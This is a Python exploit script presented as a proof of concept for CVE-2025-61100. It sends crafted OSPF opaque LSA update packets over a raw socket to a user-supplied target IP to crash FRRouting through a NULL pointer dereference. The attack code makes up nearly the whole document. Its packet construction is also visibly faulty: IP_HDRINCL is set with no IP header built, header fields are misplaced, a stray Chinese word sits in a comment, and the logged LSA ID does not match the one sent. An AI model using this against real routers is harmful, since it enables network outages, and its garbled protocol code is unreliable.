#!/usr/bin/env python3
"""
CVE-2025-61100 PoC - FRRouting ospf_opaque_lsa_dump NULL Pointer Dereference
This PoC demonstrates triggering a NULL pointer dereference in FRRouting's
ospf_opaque_lsa_dump function via malformed OSPF Opaque LSA.
NOTE: This is for educational and authorized testing purposes only.
"""
import socket
import struct
import random
def calculate_ospf_csum(data):
"""Calculate OSPF checksum"""
if len(data) % 2 == 1:
data += b'\x00'
total = sum(struct.unpack('!%dH' % (len(data) // 2), data))
total = (total >> 16) + (total & 0xffff)
total += (total >> 16)
return ~total & 0xffff
def build_ospf_header(ospf_type, router_id, area_id, auth_type=0, auth_data=0):
"""Build OSPF header"""
version = 2 # OSPF v2
header = struct.pack('!BBHHII', version, ospf_type, 0, 0, router_id, area_id)
# Add authentication
header += struct.pack('!II', auth_type, auth_data)
return header
def build_opaque_lsa(type_num, id_num, adv_router, seq_num, lsa_data):
"""Build malformed OSPF Opaque LSA to trigger NULL pointer dereference"""
age = 1
options = 0
# LSA type 9/10/11 for Opaque LSA
lsa_type = type_num # 9=Link Local, 10=Area Local, 11=AS Wide
lsa_id = id_num
adv_router = adv_router
seq_num = seq_num
# Build LSA header minus checksum and length
lsa_header = struct.pack('!HHI', age, options, seq_num)
lsa_header += struct.pack('!III', lsa_id, adv_router, adv_router)
# Malformed LSA body - triggering NULL pointer in ospf_opaque_lsa_dump
# The vulnerability occurs when processing specific field values
lsa_body = lsa_data
full_lsa = lsa_header + lsa_body
# Calculate checksum and length
checksum = calculate_ospf_csum(full_lsa)
length = len(full_lsa) + 2 # Include age
# Rebuild with correct checksum
lsa_header = struct.pack('!HHI', age, options, seq_num)
lsa_header += struct.pack('!III', lsa_id, adv_router, adv_router)
# Update length and checksum in header
lsa_header = struct.pack('!HHI', age, checksum, seq_num)
return struct.pack('!H', length) + lsa_header + lsa_body
def send_malformed_opaque_lsa(target_ip, router_id, area_id, opaque_type=10):
"""
Send malformed OSPF Opaque LSA to trigger CVE-2025-61100
Args:
target_ip: Target FRRouting router IP
router_id: Attacker router ID
area_id: OSPF area ID
opaque_type: Opaque LSA type (9, 10, or 11)
"""
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_OSPF)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# Build OSPF Header (type=4 for LSA Update)
ospf_header = build_ospf_header(4, router_id, area_id)
# Number of LSAs
num_lsas = 1
# Malformed Opaque LSA data
# This specific构造 triggers NULL pointer in ospf_opaque_lsa_dump
lsa_data = bytes([0x00] * 32) # Malformed data
opaque_lsa = build_opaque_lsa(
opaque_type, # Opaque LSA type
random.randint(1, 0xFFFFFFFF), # LSA ID
router_id, # Advertising router
0x80000001, # Sequence number
lsa_data
)
# Build LSU payload
lsu_payload = struct.pack('!I', num_lsas) + opaque_lsa
# Complete OSPF packet
ospf_packet = ospf_header + lsu_payload
# Set length in OSPF header
length = len(ospf_packet)
ospf_packet = ospf_packet[:2] + struct.pack('!H', length) + ospf_packet[4:]
# Send packet
sock.sendto(ospf_packet, (target_ip, 0))
sock.close()
print(f"[+] Malformed Opaque LSA sent to {target_ip}")
print(f"[+] Opaque Type: {opaque_type}, LSA ID: {hex(random.randint(1, 0xFFFFFFFF))}")
def main():
"""Main function"""
target_ip = input("Enter target IP: ")
router_id = random.randint(1, 0xFFFFFFFF)
area_id = 0xC0A80001 # 192.168.0.1 in decimal
print(f"[*] CVE-2025-61100 PoC - FRRouting NULL Pointer Dereference")
print(f"[*] Target: {target_ip}")
# Send multiple Opaque LSA types
for opaque_type in [9, 10, 11]:
try:
send_malformed_opaque_lsa(target_ip, router_id, area_id, opaque_type)
except Exception as e:
print(f"[-] Error sending type {opaque_type}: {e}")
if __name__ == "__main__":
main()